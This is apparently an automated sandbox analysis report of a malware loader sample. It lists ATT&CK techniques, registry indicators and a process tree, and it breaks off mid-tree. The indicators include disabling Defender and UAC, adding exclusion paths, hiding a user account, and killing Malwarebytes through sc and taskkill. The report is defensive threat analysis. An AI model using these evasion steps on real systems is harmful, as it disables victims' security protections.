a36bb3dbfa3e5ecbbafc07e1f3829035101a2f5883667bf0cbe2e686857a9ccd

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Windows security bypass 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4860	netsh.exe
2828	netsh.exe

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
2324	icacls.exe
4180	icacls.exe
5328	icacls.exe
6052	icacls.exe
2336	icacls.exe
3392	icacls.exe
4076	icacls.exe
6072	icacls.exe
3252	icacls.exe
4220	icacls.exe
1916	icacls.exe
4844	icacls.exe
3512	icacls.exe
924	icacls.exe
2252	icacls.exe
956	takeown.exe
3032	icacls.exe
544	icacls.exe
5356	icacls.exe
2420	icacls.exe
684	icacls.exe
4328	icacls.exe
3752	icacls.exe
1516	icacls.exe
5356	icacls.exe
5852	icacls.exe
5428	icacls.exe
6032	icacls.exe
784	icacls.exe
3384	icacls.exe
5472	icacls.exe
744	icacls.exe
1492	icacls.exe
1988	icacls.exe
5648	icacls.exe
4192	icacls.exe
5976	icacls.exe
2892	icacls.exe
5516	icacls.exe
3608	icacls.exe
3648	icacls.exe
2424	icacls.exe
1120	icacls.exe
3720	icacls.exe
832	icacls.exe
3732	icacls.exe
3704	icacls.exe
3420	icacls.exe
1572	icacls.exe
5468	icacls.exe
3452	icacls.exe
5452	icacls.exe
3620	icacls.exe
4952	icacls.exe
3240	icacls.exe
3248	icacls.exe
628	icacls.exe
972	icacls.exe
2436	icacls.exe
2628	icacls.exe
2936	icacls.exe
3208	icacls.exe
3716	icacls.exe
1620	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3446877943-4095308722-756223633-1000\Control Panel\International\Geo\Nation	2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3446877943-4095308722-756223633-1000\Control Panel\International\Geo\Nation	WScript.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4776	icacls.exe
3532	icacls.exe
4092	icacls.exe
5328	icacls.exe
6032	icacls.exe
3580	icacls.exe
2596	icacls.exe
5204	icacls.exe
2336	icacls.exe
1892	icacls.exe
544	icacls.exe
4784	icacls.exe
5328	icacls.exe
2516	icacls.exe
5468	icacls.exe
3208	icacls.exe
1120	icacls.exe
784	icacls.exe
3452	icacls.exe
2324	icacls.exe
3260	icacls.exe
1516	icacls.exe
5712	icacls.exe
952	icacls.exe
2628	icacls.exe
4220	icacls.exe
3224	icacls.exe
716	icacls.exe
2892	icacls.exe
1988	icacls.exe
4204	icacls.exe
5548	icacls.exe
3720	icacls.exe
5976	icacls.exe
4192	icacls.exe
4220	icacls.exe
1680	icacls.exe
3328	icacls.exe
3512	icacls.exe
2732	icacls.exe
3752	icacls.exe
2024	icacls.exe
6052	icacls.exe
2420	icacls.exe
3320	icacls.exe
6112	icacls.exe
3032	icacls.exe
5428	icacls.exe
2252	icacls.exe
4544	icacls.exe
1572	icacls.exe
392	icacls.exe
1916	icacls.exe
3720	icacls.exe
2936	icacls.exe
5248	icacls.exe
4620	icacls.exe
456	icacls.exe
684	icacls.exe
4348	icacls.exe
3524	icacls.exe
4044	icacls.exe
1004	icacls.exe
5356	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	cmd.exe
File opened (read-only)	\??\K:	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\windows\SysWOW64\xmr64	attrib.exe

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

persistence privilege_escalation

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0"	reg.exe

Drops file in Program Files directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Cezurity	attrib.exe
File opened for modification	C:\Program Files\Cezurity	attrib.exe
File opened for modification	C:\Program Files\McAfee	attrib.exe
File opened for modification	C:\Program Files\McAfee.com	attrib.exe
File opened for modification	C:\Program Files\Kaspersky Lab	attrib.exe
File opened for modification	C:\Program Files (x86)\AVG	attrib.exe
File opened for modification	C:\Program Files\COMODO\COMODO Internet Security	attrib.exe
File opened for modification	C:\Program Files\ESET	attrib.exe
File opened for modification	C:\Program Files\AVAST Software\Avast	attrib.exe
File opened for modification	C:\Program Files (x86)\Kaspersky Lab	attrib.exe
File opened for modification	C:\Program Files\Malwarebytes\Anti-Malware	attrib.exe
File opened for modification	C:\Program Files\AVG	attrib.exe
File opened for modification	C:\Program Files (x86)\360\Total Security	attrib.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\WindowsDefender	attrib.exe
File opened for modification	C:\windows\hhsm	attrib.exe
File opened for modification	C:\windows\min	attrib.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4792	sc.exe
2024	sc.exe
1916	sc.exe
2280	sc.exe
2516	sc.exe
1128	sc.exe
5992	sc.exe
3448	sc.exe
1868	sc.exe
4000	sc.exe
2884	sc.exe
1244	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe

Delays execution with timeout.exe 23 IoCs

pid	Process
3728	timeout.exe
3704	timeout.exe
5332	timeout.exe
3920	timeout.exe
824	timeout.exe
1400	timeout.exe
1716	timeout.exe
5252	timeout.exe
5292	timeout.exe
1960	timeout.exe
5796	timeout.exe
380	timeout.exe
2412	timeout.exe
3320	timeout.exe
5308	timeout.exe
816	timeout.exe
1912	timeout.exe
5076	timeout.exe
4112	timeout.exe
1152	timeout.exe
5076	timeout.exe
1988	timeout.exe
3440	timeout.exe

Kills process with taskkill 64 IoCs

pid	Process
820	taskkill.exe
5176	taskkill.exe
5340	taskkill.exe
5480	taskkill.exe
2252	taskkill.exe
1412	taskkill.exe
1880	taskkill.exe
5684	taskkill.exe
4232	taskkill.exe
1844	taskkill.exe
4072	taskkill.exe
4028	taskkill.exe
5396	taskkill.exe
3704	taskkill.exe
536	taskkill.exe
2416	taskkill.exe
5440	taskkill.exe
5504	taskkill.exe
744	taskkill.exe
3612	taskkill.exe
2024	taskkill.exe
5840	taskkill.exe
4576	taskkill.exe
1780	taskkill.exe
5772	taskkill.exe
4424	taskkill.exe
4456	taskkill.exe
4704	taskkill.exe
4348	taskkill.exe
5364	taskkill.exe
512	taskkill.exe
5768	taskkill.exe
2220	taskkill.exe
1616	taskkill.exe
6096	taskkill.exe
5068	taskkill.exe
1216	taskkill.exe
3044	taskkill.exe
2584	taskkill.exe
4032	taskkill.exe
5712	taskkill.exe
5468	taskkill.exe
5980	taskkill.exe
3224	taskkill.exe
3832	taskkill.exe
2468	taskkill.exe
3584	taskkill.exe
2788	taskkill.exe
3576	taskkill.exe
3228	taskkill.exe
5804	taskkill.exe
5316	taskkill.exe
4328	taskkill.exe
2816	taskkill.exe
920	taskkill.exe
5952	taskkill.exe
5976	taskkill.exe
4376	taskkill.exe
2312	taskkill.exe
904	taskkill.exe
5956	taskkill.exe
2420	taskkill.exe
4204	taskkill.exe
2412	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3446877943-4095308722-756223633-1000_Classes\Local Settings	2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe

Runs net.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3700	taskkill.exe
Token: SeDebugPrivilege	4384	taskkill.exe
Token: SeDebugPrivilege	5896	taskkill.exe
Token: SeDebugPrivilege	5364	taskkill.exe
Token: SeDebugPrivilege	2816	taskkill.exe
Token: SeDebugPrivilege	3448	taskkill.exe
Token: SeDebugPrivilege	4232	taskkill.exe
Token: SeDebugPrivilege	2024	taskkill.exe
Token: SeDebugPrivilege	5976	taskkill.exe
Token: SeDebugPrivilege	920	taskkill.exe
Token: SeDebugPrivilege	904	taskkill.exe
Token: SeDebugPrivilege	1900	taskkill.exe
Token: SeDebugPrivilege	5796	taskkill.exe
Token: SeDebugPrivilege	5712	taskkill.exe
Token: SeDebugPrivilege	2384	taskkill.exe
Token: SeDebugPrivilege	5176	taskkill.exe
Token: SeDebugPrivilege	3312	taskkill.exe
Token: SeDebugPrivilege	2220	taskkill.exe
Token: SeDebugPrivilege	5272	taskkill.exe
Token: SeDebugPrivilege	5324	taskkill.exe
Token: SeDebugPrivilege	3228	taskkill.exe
Token: SeDebugPrivilege	3564	taskkill.exe
Token: SeDebugPrivilege	5956	taskkill.exe
Token: SeDebugPrivilege	1616	taskkill.exe
Token: SeDebugPrivilege	4172	taskkill.exe
Token: SeDebugPrivilege	764	taskkill.exe
Token: SeDebugPrivilege	5316	taskkill.exe
Token: SeDebugPrivilege	4328	taskkill.exe
Token: SeDebugPrivilege	4424	taskkill.exe
Token: SeDebugPrivilege	5356	taskkill.exe
Token: SeDebugPrivilege	536	taskkill.exe
Token: SeDebugPrivilege	3252	taskkill.exe
Token: SeDebugPrivilege	5340	taskkill.exe
Token: SeDebugPrivilege	952	taskkill.exe
Token: SeDebugPrivilege	5480	taskkill.exe
Token: SeDebugPrivilege	4532	taskkill.exe
Token: SeDebugPrivilege	1844	taskkill.exe
Token: SeDebugPrivilege	6096	taskkill.exe
Token: SeDebugPrivilege	820	taskkill.exe
Token: SeDebugPrivilege	1496	taskkill.exe
Token: SeDebugPrivilege	3416	taskkill.exe
Token: SeDebugPrivilege	1716	taskkill.exe
Token: SeDebugPrivilege	5840	taskkill.exe
Token: SeDebugPrivilege	4072	taskkill.exe
Token: SeDebugPrivilege	5068	taskkill.exe
Token: SeDebugPrivilege	3732	taskkill.exe
Token: SeDebugPrivilege	2420	taskkill.exe
Token: SeDebugPrivilege	4008	taskkill.exe
Token: SeDebugPrivilege	5684	taskkill.exe
Token: SeDebugPrivilege	3412	taskkill.exe
Token: SeDebugPrivilege	4204	taskkill.exe
Token: SeDebugPrivilege	2412	taskkill.exe
Token: SeDebugPrivilege	5468	taskkill.exe
Token: SeDebugPrivilege	512	taskkill.exe
Token: SeDebugPrivilege	3576	taskkill.exe
Token: SeDebugPrivilege	4576	taskkill.exe
Token: SeDebugPrivilege	1780	taskkill.exe
Token: SeDebugPrivilege	1216	taskkill.exe
Token: SeDebugPrivilege	1440	taskkill.exe
Token: SeDebugPrivilege	4068	taskkill.exe
Token: SeDebugPrivilege	4456	taskkill.exe
Token: SeDebugPrivilege	3476	taskkill.exe
Token: SeDebugPrivilege	3084	taskkill.exe
Token: SeDebugPrivilege	5768	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1080 wrote to memory of 3192	1080	2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe	87
PID 1080 wrote to memory of 3192	1080	2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe	87
PID 1080 wrote to memory of 3192	1080	2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe	87
PID 3192 wrote to memory of 5508	3192	WScript.exe	91
PID 3192 wrote to memory of 5508	3192	WScript.exe	91
PID 3192 wrote to memory of 5508	3192	WScript.exe	91
PID 5508 wrote to memory of 1128	5508	cmd.exe	93
PID 5508 wrote to memory of 1128	5508	cmd.exe	93
PID 5508 wrote to memory of 1128	5508	cmd.exe	93
PID 5508 wrote to memory of 5992	5508	cmd.exe	94
PID 5508 wrote to memory of 5992	5508	cmd.exe	94
PID 5508 wrote to memory of 5992	5508	cmd.exe	94
PID 5508 wrote to memory of 2884	5508	cmd.exe	95
PID 5508 wrote to memory of 2884	5508	cmd.exe	95
PID 5508 wrote to memory of 2884	5508	cmd.exe	95
PID 5508 wrote to memory of 3448	5508	cmd.exe	96
PID 5508 wrote to memory of 3448	5508	cmd.exe	96
PID 5508 wrote to memory of 3448	5508	cmd.exe	96
PID 5508 wrote to memory of 1244	5508	cmd.exe	97
PID 5508 wrote to memory of 1244	5508	cmd.exe	97
PID 5508 wrote to memory of 1244	5508	cmd.exe	97
PID 5508 wrote to memory of 3700	5508	cmd.exe	98
PID 5508 wrote to memory of 3700	5508	cmd.exe	98
PID 5508 wrote to memory of 3700	5508	cmd.exe	98
PID 5508 wrote to memory of 4792	5508	cmd.exe	100
PID 5508 wrote to memory of 4792	5508	cmd.exe	100
PID 5508 wrote to memory of 4792	5508	cmd.exe	100
PID 5508 wrote to memory of 1868	5508	cmd.exe	101
PID 5508 wrote to memory of 1868	5508	cmd.exe	101
PID 5508 wrote to memory of 1868	5508	cmd.exe	101
PID 5508 wrote to memory of 2024	5508	cmd.exe	102
PID 5508 wrote to memory of 2024	5508	cmd.exe	102
PID 5508 wrote to memory of 2024	5508	cmd.exe	102
PID 5508 wrote to memory of 1916	5508	cmd.exe	103
PID 5508 wrote to memory of 1916	5508	cmd.exe	103
PID 5508 wrote to memory of 1916	5508	cmd.exe	103
PID 5508 wrote to memory of 5500	5508	cmd.exe	104
PID 5508 wrote to memory of 5500	5508	cmd.exe	104
PID 5508 wrote to memory of 5500	5508	cmd.exe	104
PID 5508 wrote to memory of 1848	5508	cmd.exe	105
PID 5508 wrote to memory of 1848	5508	cmd.exe	105
PID 5508 wrote to memory of 1848	5508	cmd.exe	105
PID 5508 wrote to memory of 1368	5508	cmd.exe	106
PID 5508 wrote to memory of 1368	5508	cmd.exe	106
PID 5508 wrote to memory of 1368	5508	cmd.exe	106
PID 5508 wrote to memory of 5892	5508	cmd.exe	107
PID 5508 wrote to memory of 5892	5508	cmd.exe	107
PID 5508 wrote to memory of 5892	5508	cmd.exe	107
PID 5508 wrote to memory of 880	5508	cmd.exe	108
PID 5508 wrote to memory of 880	5508	cmd.exe	108
PID 5508 wrote to memory of 880	5508	cmd.exe	108
PID 5508 wrote to memory of 5552	5508	cmd.exe	109
PID 5508 wrote to memory of 5552	5508	cmd.exe	109
PID 5508 wrote to memory of 5552	5508	cmd.exe	109
PID 5508 wrote to memory of 5880	5508	cmd.exe	110
PID 5508 wrote to memory of 5880	5508	cmd.exe	110
PID 5508 wrote to memory of 5880	5508	cmd.exe	110
PID 5508 wrote to memory of 1140	5508	cmd.exe	111
PID 5508 wrote to memory of 1140	5508	cmd.exe	111
PID 5508 wrote to memory of 1140	5508	cmd.exe	111
PID 5508 wrote to memory of 4216	5508	cmd.exe	112
PID 5508 wrote to memory of 4216	5508	cmd.exe	112
PID 5508 wrote to memory of 4216	5508	cmd.exe	112
PID 5508 wrote to memory of 5676	5508	cmd.exe	113

Views/modifies file attributes 1 TTPs 64 IoCs

Hidden Files and Directories

T1564.001

pid	Process
3712	attrib.exe
3672	attrib.exe
5108	attrib.exe
4712	attrib.exe
4820	attrib.exe
5680	attrib.exe
2028	attrib.exe
2932	attrib.exe
4420	attrib.exe
5520	attrib.exe
5180	attrib.exe
2360	attrib.exe
1976	attrib.exe
2292	attrib.exe
4452	attrib.exe
6084	attrib.exe
5000	attrib.exe
4924	attrib.exe
3620	attrib.exe
5016	attrib.exe
2148	attrib.exe
4152	attrib.exe
5904	attrib.exe
2820	attrib.exe
4828	attrib.exe
4896	attrib.exe
3640	attrib.exe
3512	attrib.exe
1680	attrib.exe
4020	attrib.exe
5512	attrib.exe
3688	attrib.exe
4908	attrib.exe
1888	attrib.exe
2324	attrib.exe
4032	attrib.exe
5820	attrib.exe
4152	attrib.exe
1900	attrib.exe
4088	attrib.exe
4920	attrib.exe
4384	attrib.exe
544	attrib.exe
4320	attrib.exe
3080	attrib.exe
5668	attrib.exe
1600	attrib.exe
3712	attrib.exe
1412	attrib.exe
5068	attrib.exe
4604	attrib.exe
5244	attrib.exe
4348	attrib.exe
4436	attrib.exe
2516	attrib.exe
2796	attrib.exe
4576	attrib.exe
1252	attrib.exe
1888	attrib.exe
6068	attrib.exe
4388	attrib.exe
5764	attrib.exe
2604	attrib.exe
5384	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe
"C:\Users\Admin\AppData\Local\Temp\2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1080
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\programdata\microsoft\temp\Clean.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3192
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\ProgramData\microsoft\Temp\Clean.bat" "
    3⤵
    - Enumerates connected drives
    - Suspicious use of WriteProcessMemory
    PID:5508
  - - C:\Windows\SysWOW64\sc.exe
      sc delete swprv
      4⤵
      Launches sc.exe
      PID:1128
  - - C:\Windows\SysWOW64\sc.exe
      sc start AppIDSvc
      4⤵
      Launches sc.exe
      PID:5992
  - - C:\Windows\SysWOW64\sc.exe
      sc config AppIDSvc start= Auto
      4⤵
      Launches sc.exe
      PID:2884
  - - C:\Windows\SysWOW64\sc.exe
      sc start AppMgmt
      4⤵
      Launches sc.exe
      PID:3448
  - - C:\Windows\SysWOW64\sc.exe
      sc config AppMgmt start= Auto
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1244
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM mbamservice.EXE /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3700
  - - C:\Windows\SysWOW64\sc.exe
      sc stop mbamservice
      4⤵
      Launches sc.exe
      PID:4792
  - - C:\Windows\SysWOW64\sc.exe
      sc delete mbamservice
      4⤵
      Launches sc.exe
      PID:1868
  - - C:\Windows\SysWOW64\sc.exe
      sc stop MinerGate
      4⤵
      Launches sc.exe
      PID:2024
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MinerGate
      4⤵
      Launches sc.exe
      PID:1916
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "System\SecurityService" /F
      4⤵
      PID:5500
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windows\ServiceRun" /F
      4⤵
      PID:1848
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "System\SecurityService" /F
      4⤵
      PID:1368
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "System\SecurityService2" /F
      4⤵
      PID:5892
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "System\Security Service2" /F
      4⤵
      PID:880
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windowss\Data\ServiceRun" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5552
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windowss\Data\ServiceRun0" /F
      4⤵
      PID:5880
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windowss\Data\ServiceRun1" /F
      4⤵
      PID:1140
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windowss\Data\ServiceRun2" /F
      4⤵
      PID:4216
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windowss\Data\ServiceRun3" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5676
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "AzureSDKService" /F
      4⤵
      PID:2840
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "WindowsUpdater" /F
      4⤵
      PID:3044
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "AdobeUppdate" /F
      4⤵
      PID:1716
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windows\SpaceManagTask" /F
      4⤵
      PID:2360
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "System\SecurityService" /F
      4⤵
      PID:2336
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windows\ServiceRun" /F
      4⤵
      PID:2384
  - - C:\Windows\SysWOW64\schtasks.exe
